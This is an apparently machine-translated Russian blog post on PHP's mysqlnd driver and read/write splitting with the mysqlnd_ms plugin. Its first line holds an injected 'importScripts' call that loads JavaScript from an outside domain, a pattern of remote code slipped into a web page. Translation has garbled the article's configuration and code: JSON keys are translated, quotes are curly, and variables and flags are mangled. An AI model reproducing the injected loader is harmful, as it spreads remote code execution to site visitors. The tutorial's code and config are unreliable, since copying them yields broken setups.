google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Что такое MySQLnd в PHP и как он выполняет простое чтение / запись?


MySQL является наиболее востребованным сервером баз данных, используемым в PHP. Фактически, веб-приложения PHP подключены к серверу MySQL по умолчанию. Хотя некоторые люди также используют другие серверы баз данных, такие как Oracle, SQLServer и т. Д. Для хранения данных, но для обработки веб-нагрузки MySQL является наиболее часто используемой базой данных.
В прошлом - расширение PHP mysql, PHP mysqli и драйвер PDO MYSQL - использовали клиентскую библиотеку MySQL (также известную как libmysqlclient) - для связи с сервером базы данных MySQL. Но интерфейс libmysqlclient не был оптимизирован для взаимодействия с PHP-приложениями, так как библиотека была построена, прежде всего, с учетом C-приложений. Вот почему была разработана замена libmysqlclient, называемая MySQL Native Driver (также называемый mysqlnd); mysqlnd также является библиотекой, которая обеспечивает почти аналогичные функциональные возможности, предоставляемые MySQL Client Library.
Собственный драйвер MySQL был доступен в PHP 5.3. И это была библиотека по умолчанию, которая используется для подключения к MySQL Server с момента выпуска PHP 5.4 (хотя, вы даже можете скомпилировать с libmysqlclient). MySQL Native Driver предлагает дополнительные функции, улучшенную производительность и лучшее использование памяти по сравнению с libmysqlclient.
В этом посте мы поговорим о том, как можно легко разделить чтение / запись с помощью PHP MySQLnd. Но перед этим важно узнать о процессе установки mysqlnd. Кроме того, мы обсудим плагины собственного драйвера MySQL, которые вам потребуются при разделении на чтение / запись. 

Монтаж

Для установки mysqlnd нам нужно скомпилировать одно из трех расширений MySQL с именами «ext / pdo_mysql», «ext / mysqli» и «ext / mysql». Помните, чтобы не определять путь к клиентской библиотеке MySQL (libmysqlclient) в каждом экземпляре.
Что такое MySQLnd в PHP и как он выполняет простое чтение / запись?
Примечание. При установке ext / mysql или ext / mysqli автоматически включается третье расширение - ext / pdo_mysql. 
Кроме того, вы можете выбрать расширение, выбрав один или несколько флагов настройки, как указано ниже:
    -с-MySQL

    -с-MySQLi

    -с-PDO-MySQL
Наконец, имейте в виду, что в случае, если вы используете операционную систему Debian или Ubuntu, вы можете установить пакет php5-mysqlnd без суеты, используя следующую строку кода:
$ sudo apt-get install php5-mysqlnd
Это поможет вам избавиться от пакета libmysqlclient php5-mysql и вместо этого позволит вам включить все три расширения MySQL.

Список плагинов MySQL для собственных драйверов

MySQL Native Driver не только обеспечивает выигрыш в производительности, но и самое большое преимущество - его плагины. Вы можете получить доступ к плагинам через PECL и установить их, используя следующую строку кода:
$ pecl install mysqlnd_ <имя>
Давайте поговорим о некоторых из стабильных плагинов:
  • mysqlnd_ms: помогает легко разделять чтение или запись между «главным и подчиненным» серверами с помощью простой балансировки нагрузки.
  • mysqlnd_qc: встраивает простой кеш запросов в PHP
  • mysqlnd_uh: позволяет писать плагины mysqlnd на PHP

Выполнение чтения / записи разделения

Чтобы разделить чтение и запись, мы будем использовать плагин mysqlnd_ms. 

конфигурация

После установки плагина mysqlnd_ms с использованием PECL, нам нужно будет настроить php.ini, а также файл конфигурации mysqlnd_ms.
В php.ini мы добавим следующие строки кода:
расширение = mysqlnd_ms.so

mysqlnd_ms.enable = 1

mysqlnd_ms.config_file = / путь / к / mysqlnd_ms.json
Затем создайте файл mysqlnd_ms.json, который помогает определить главный и подчиненный серверы. Кроме того, файл также помогает определить «разделение на чтение или запись» и «стратегии балансировки нагрузки». 
Наш конфигурационный файл состоит из одного главного и одного подчиненного:
{

"Имя приложения": {

"мастер": {

«Master_0»: {

«Host»: «master.mysql.host»,

«Порт»: «3306»,

«Пользователь»: «dbuser»,

«Пароль»: «dbpassword»,

«Db»: «dbname»

}

},

«Раб»: {

«Slave_0»: {

«Host»: «slave.mysql.host»,

«Порт»: «3306»

«Пользователь»: «dbuser»,

«Пароль»: «dbpassword»,

«Db»: «dbname»

},

}

}

}
Вам нужно всего лишь внести изменения в один параметр, называемый хостом, а все остальные являются необязательными. 

Запросы маршрутизации

Плагин mysqlnd_ms по умолчанию прозрачно направляет запросы, которые начинаются с SELECT, на подчиненные серверы. Помимо этого, плагин направляет запросы, которые не начинаются с SELECT, к мастеру.
Это может оказаться как хорошо, так и плохо для вас. Что ж, прозрачность избавляет вас от внесения каких-либо изменений в код. Однако вы не сможете узнать, доступен ли запрос только для чтения или нет, так как плагин не анализирует запрос. 
Помимо не только отправки запроса, который не начинается с SELECT, ведущему, плагин будет отправлять запрос записи с «SELECT..intolave», что может оказаться катастрофой. К счастью, плагин имеет возможность предоставить подсказку относительно отправки запроса на нужный сервер (то есть главный или подчиненный сервер). Для этого он помещает одну из трех перечисленных ниже констант подсказок SQL в запросе:
  • MYSQLND_MS_MASTER_SWITCH: помогает запустить оператор запроса на мастере
  • MYSQLND_MS_SLAVE_SWITCH: позволяет выполнить оператор запроса на ведомом устройстве
  • MYSQLND_MS_LAST_USED_SWITCH: этот параметр позволяет выполнить оператор запроса на сервере, который использовался в последнем
Чтобы использовать любой из подсказок SQL, нам нужно добавить комментарий перед запросом. Один из самых простых способов для этого требует использования sprintf (). Давайте рассмотрим пример, где плагин mysqlnd_ms отправляет SELECT мастеру, используя первую константу подсказки SQL:
$ sql = sprintf («/ *% s * / SELECT * FROM table_name;», MYSQLND_MS_MASTER_SWITCH);
Приведенный ниже запрос используется для того, чтобы не отправлять SELECT на ведомое устройство, используя вторую подсказку SQL, как обсуждалось выше:
$ sql = sprintf («/ *% s * / CREATE TEMPORARY TABLE temp_table_nameSELECT * FROM table_name;», MYSQLND_MS_SLAVE_SWITCH);
Теперь давайте рассмотрим пример, в котором последняя подсказка поможет вам убедиться в том, что используется то же соединение, что и для запроса, упомянутого выше. Это обеспечит переключение с главного устройства на чтение после того, как данные были изменены, но все еще не реплицированы. Кроме того, он также гарантирует, что переключение выполняется при выполнении определенных транзакций, включая как чтение, так и запись операторов. 
if ($ request-> isPost () && $ form-> isValid ()) {

$ Пользователя> setValues ​​($ form-> GetValues ​​());

$ User-> Save ();

}

$ sql = sprintf («/ *% s * / SELECT * FROM user_session WHERE user_id =: user_id», MYSQLND_LAST_USED_SWITCH);

Заключение

Вы можете разделить чтение или запись между серверами с помощью плагина mysqlnd_ms. Это полезный плагин, особенно если вы хотите перевести большие унаследованные PHP-приложения на использование распределенного чтения / записи. Хотя плагин может показаться не идеальным для многих пользователей, но он определенно принесет вам 80-90% успеха - и вы сможете перемещать большинство приложений - не возясь с кодом.
Автор Био
Мария Минси - веб-разработчик по профессии и автор хобби и работает в Xicom Technologies, компании по разработке PHP. Она любит делиться информацией о советах и ​​уловках по разработке PHP. Если вы хотите нанять разработчиков PHP, просто свяжитесь с ней.

Комментариев нет:

Отправить комментарий